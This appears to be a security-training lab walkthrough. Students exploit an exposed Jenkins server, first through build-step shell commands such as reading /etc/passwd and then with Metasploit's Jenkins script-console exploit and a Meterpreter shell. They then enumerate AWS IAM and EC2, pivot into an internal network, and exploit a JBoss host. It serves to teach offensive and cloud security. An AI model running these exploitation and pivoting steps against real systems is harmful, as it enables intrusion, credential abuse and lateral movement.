Table of Contents
- Enumeration
- Exploiting Jenkins Manually
- Introducing Metasploit
- Exploiting Jenkins with Metasploit
- Pivot/Penetrate
In this lab, we will be exploiting a popular Build Platform and use it to pivot deeper into the network.
Resources:
- https://nmap.org/book/man.html
- https://github.com/rapid7/metasploit-framework
- http://docs.aws.amazon.com/cli/latest/
Find a vulnerable host.
- Install Nmap.
$ sudo yum -y install nmap
- Port scan a vulnerable host.
$ nmap -PN -p8080 -sV 52.39.125.179
-
Load
http://52.39.125.179:8080
on your browser. -
Select
New Item
, enter your student ID underItem name
and selectFreestyle project
. ClickOK
. -
Under
Build
, clickAdd a build step
, selectExecute shell
. In theCommand
text box entercat /etc/passwd
and clickSave
. -
Select
Build Now
, then click the lastBuild History
job and clickConsole Output
. What do you see? Would you put this host on the internet as is? -
Go back to your project and click
Configure
run other commands such aswhoami
,pwd
andps
to familiarize yourself with this host. What flavor of linux is this? What packages are installed?
- Install Metasploit.
Download and extract the Metasploit package from the DSO bucket: dso-public-bucket
$ curl -O https://s3-us-west-2.amazonaws.com/dso-public-bucket/metasploit-framework-master.zip
$ unzip metasploit-framework-master.zip
Alternatively clone the Metasploit Git project directly.
$ git clone https://github.com/rapid7/metasploit-framework.git
- Install dependencies and run
msfconsole
.
$ cd metasploit-framework-master
$ sudo yum -y install libpcap-devel postgresql-devel libsqlite3-dev sqlite-devel
$ bundle install
$ ./msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v4.12.10-dev ]
+ -- --=[ 1556 exploits - 902 auxiliary - 268 post ]
+ -- --=[ 438 payloads - 38 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >
-
Search for the Jenkins-CI Script-Console Java Execution exploit. You can do this using the
search
keyword. -
Configure the exploit for use.
In the example below we are using TCP port 10001 to create a listener (LPORT
). Please contact the instructor to see which port you should be using.
> use exploit/multi/http/jenkins_script_console
> show options
> set RHOST 52.39.125.179
> set RPORT 8080
> set TARGETURI /
> set target 1
> set payload linux/x86/meterpreter/bind_tcp
> set LPORT 10001
- Exploit the target and run the shell.
> exploit
> shell
- Run the AWS CLI to determine if this host has IAM permissions.
$ aws iam list-users --region us-west-2
- Since this host does not have IAM privileges, let's find a host that does.
Run the AWS CLI to determine the IP address of another host that may have an overly permissive instance profile/role.
$ aws ec2 describe-instances --region us-west-2
Is that shot of JSON to the eye? Try filtering the results, like this:
aws ec2 describe-instances --region us-west-2 --filters Name=iam-instance-profile.arn,Values=arn:aws:iam::717986480831:instance-profile/dso-overly-permissive
Make note of this host's IP address. This is target 2.
Throw the shell into the background by pressing ctrl-z
, followed by y
and ENTER
. Also throw the Meterpreter shell into the background by again pressing ctrl-z
, followed by y
and ENTER
. Then list your sessions.
> sessions
Make note of the session ID, e.g., 1
.
- Add a route to pivot to a host that is deeper inside the network (target 2).
E.g.,
> route add 10.0.6.0 255.255.255.0 1
> route print
- Scan the host you discovered for vulnerabilities.
> use auxiliary/scanner/http/jboss_vulnscan
> show options
> set RHOSTS 10.0.6.165
> set RPORT 8080
> show options
> run
-
Search for the JBoss DeploymentFileRepository WAR Deployment exploit. E.g.,
search JMXInvokerServlet
. -
Configure the exploit.
Use this formula to determine the value for LPORT
. LPORT = 10000 + Student ID number
. So, student 1, LPORT
would be 10001
.
> use exploit/multi/http/jboss_invoke_deploy
> set RHOST 10.0.6.165
> set target 1
> set payload java/meterpreter/bind_tcp
> set LPORT 10001
> exploit
- Run the AWS CLI to determine if this host has IAM permissions.
> shell
python -c 'import pty; pty.spawn("/bin/bash")'
$ export http_proxy=http://proxy:3128
$ export https_proxy=http://proxy:3128
$ aws iam list-users --region us-west-2
What does this mean?